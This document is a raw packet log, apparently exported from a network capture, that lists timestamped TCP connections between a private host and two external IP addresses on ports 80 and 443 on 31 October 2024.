Oct 31, 2024 07:14:11.089741945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089754105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089765072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089776039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089781046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.089787006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089807987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.089826107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090012074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090055943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090074062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090092897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090106010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090115070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090126038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090151072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090202093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090241909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090246916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090261936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090270042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090285063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090313911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090416908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090436935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090446949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090460062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090487957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090567112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090610027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090610027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090621948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090653896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090677023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090687037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090729952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090734005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090744972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090774059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090785980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090795994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090807915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.090826988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090852022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.090996027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091037989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.091051102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091063023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091089010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091094017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.091108084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091110945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.091111898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091116905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091125011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.091150999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.091177940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091188908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091204882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.091226101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.091262102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.133071899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.133084059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.133094072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.133114100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.133121014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.133136988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.133186102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.136524916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.136554956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.136567116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.136584044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.136595964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.136607885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.136620045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.136647940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.178280115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.178291082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.178299904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.178369045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.183898926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.183954000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.183964968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.183971882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.184010983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208323956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208334923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208344936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208395958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208416939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208451033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208472013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208473921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208492994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208503008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208514929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208513021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208528996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208548069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208600998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208611965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208621979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208635092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208641052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208647013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208657980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208673954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208705902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.208930969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208940983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208950996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.208971977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.209003925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.209074020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.209084988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.209095001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.209116936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.209137917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.218410969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218422890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218434095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218445063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218455076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218466043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218477011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218482018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.218540907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.218552113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218563080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218573093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218584061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218595982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.218596935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218607903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218617916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.218628883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218638897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218651056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218660116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.218661070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.218700886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.251866102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251884937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251903057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251926899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.251928091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251940012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251949072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.251951933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251964092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251974106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.251986980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.252007008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.255188942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.255234957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.255234957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.255247116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.255266905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.255279064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.255285978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.255290985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.255311012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.255331993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.297008038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.297019958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.297032118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.297055960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.297087908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.302592993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.302603960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.302614927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.302674055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.326982975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327034950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327044964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327068090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327090979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327258110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327267885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327279091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327289104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327308893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327311039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327326059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327327967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327347040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327351093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327356100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327366114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327375889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327387094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327413082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327491045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327529907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327557087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327567101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327579021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327589989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327604055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327625990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327708006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327748060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327763081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327775002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327807903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327817917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327835083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327846050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327856064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.327874899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.327889919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.336776972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336786985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336796999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336813927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336828947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336841106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336848974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336909056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336920023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336942911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336952925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.336960077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.336996078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.337099075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.337107897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.337147951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.337152958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.337193012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.337218046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.337228060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.337238073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.337258101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.337286949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.370448112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370467901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370472908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370529890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370536089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370666027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370666027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.370676041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370686054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370695114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370704889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.370711088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.370728970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.370753050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.373739004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.373780012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.373790026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.373794079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.373821974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.373857975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.373867989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.373877048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.373895884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.376988888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.415565968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.415604115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.415612936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.415642977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.415666103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.421220064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.421252966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.421262026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.421284914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.421329975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.445640087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445677042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445684910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445722103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445724010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.445732117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445763111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.445766926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445775986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445785046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.445785999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445807934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.445827961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.445947886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445981026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.445991993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.446000099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.446002007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.446010113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.446022987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.446038008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.446065903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:13.107507944 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.107562065 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.107657909 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.107877970 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.107920885 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.420284986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:13.420370102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:13.595477104 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.595506907 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.595870972 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.599334955 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.599345922 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.625441074 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.625508070 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.625749111 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.625952959 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.625986099 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.902561903 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.902589083 CET	443	49739	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.902874947 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.902874947 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.902898073 CET	443	49739	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.993427038 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.993853092 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.993895054 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.994798899 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.994862080 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.996165037 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.996165037 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:13.996211052 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:13.996233940 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.045727015 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.045746088 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.097784996 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.280168056 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.325234890 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.325268030 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.326558113 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.326611042 CET	443	49736	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.326683044 CET	49736	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.474278927 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.474615097 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.474659920 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.475537062 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.475594044 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.475897074 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.475958109 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.476051092 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.491698027 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.491898060 CET	49737	443	192.168.2.4	172.217.16.196
